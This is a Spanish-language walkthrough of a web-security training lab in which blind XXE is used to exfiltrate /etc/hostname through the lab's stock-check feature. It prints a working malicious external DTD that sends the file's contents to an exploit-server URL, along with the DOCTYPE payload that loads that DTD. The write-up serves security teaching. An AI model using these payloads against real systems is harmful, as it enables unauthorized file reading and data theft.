
Descripción
This lab has a «Check stock» feature that parses XML input but does not display the result.
To solve the lab, exfiltrate the contents of the /etc/hostname
file
Exploiting blind XXE to exfiltrate data using a malicious external DTD writeup
Al entrar vemos una tienda online. Entramos en un producto con ‘View details’ y capturamos la petición con el ‘Logger’ de Burp Suite:

Esta vez, si intentamos acceder a una variable en el cuerpo XML nos devolverá el siguiente error:
"Entities are not allowed for security reasons"
Es aquí donde entra el ‘Exploit server’. Realizaremos una petición al servidor y él se encargará de tener las entidades. Pondremos el siguiente código en el ‘Exploit server’ y pulsaremos ‘Save’:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'https://exploit-0a5c00d104a150ed84f545830113002e.exploit-server.net/?x=%file;'>">
%eval;
%exfil;
Ahora, en la petición, llamaremos a este servidor, que sí puede manejar entidades:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0a5c00d104a150ed84f545830113002e.exploit-server.net/exploit"> %xxe;]>
Al enviarlo nos devolverá un error:

Pero en el log del servidor tendremos el contenido de ‘/etc/hostname’:

Enviaremos la solución y completaremos el laboratorio:
